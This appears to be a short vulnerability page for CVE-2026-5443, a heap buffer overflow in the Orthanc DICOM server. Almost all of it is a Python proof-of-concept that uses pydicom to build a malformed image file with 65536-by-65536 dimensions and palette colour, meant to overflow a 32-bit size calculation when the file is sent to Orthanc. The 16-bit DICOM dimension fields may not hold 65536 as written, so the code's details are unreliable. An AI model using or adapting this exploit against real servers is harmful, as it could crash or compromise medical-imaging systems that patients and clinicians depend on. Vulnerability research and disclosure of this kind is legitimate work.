CVE-2026-5443 Orthanc堆缓冲区溢出漏洞

import pydicom import struct # PoC Concept: Create a malformed DICOM file with large width/height to trigger 32-bit overflow # This script demonstrates the logic to create a file that would trigger the vulnerability. def create_malformed_dicom(filename): # Minimal DICOM structure file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian ds = pydicom.dataset.FileDataset(filename, {}, file_meta=file_meta, preamble=b"\x00" * 128) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage ds.SOPInstanceUID = '1.2.3.4.5' # Set specific tag to trigger PALETTE COLOR decoding if applicable or force specific path # The core issue is width * height calculation. # Let's assume width = 65536 (0x10000) and height = 65536 (0x10000) # Multiplication: 0x10000 * 0x10000 = 0x100000000 # In 32-bit arithmetic, this overflows to 0. ds.Rows = 65536 ds.Columns = 65536 ds.BitsAllocated = 8 ds.PixelRepresentation = 0 ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' # Add dummy pixel data (size doesn't strictly matter for the trigger, structure does) ds.PixelData = b'\x00' * 100 ds.save_as(filename) print(f"Malformed DICOM file saved to {filename}") print("Sending this file to Orthanc Server may trigger the heap overflow.") # create_malformed_dicom('exploit.dcm')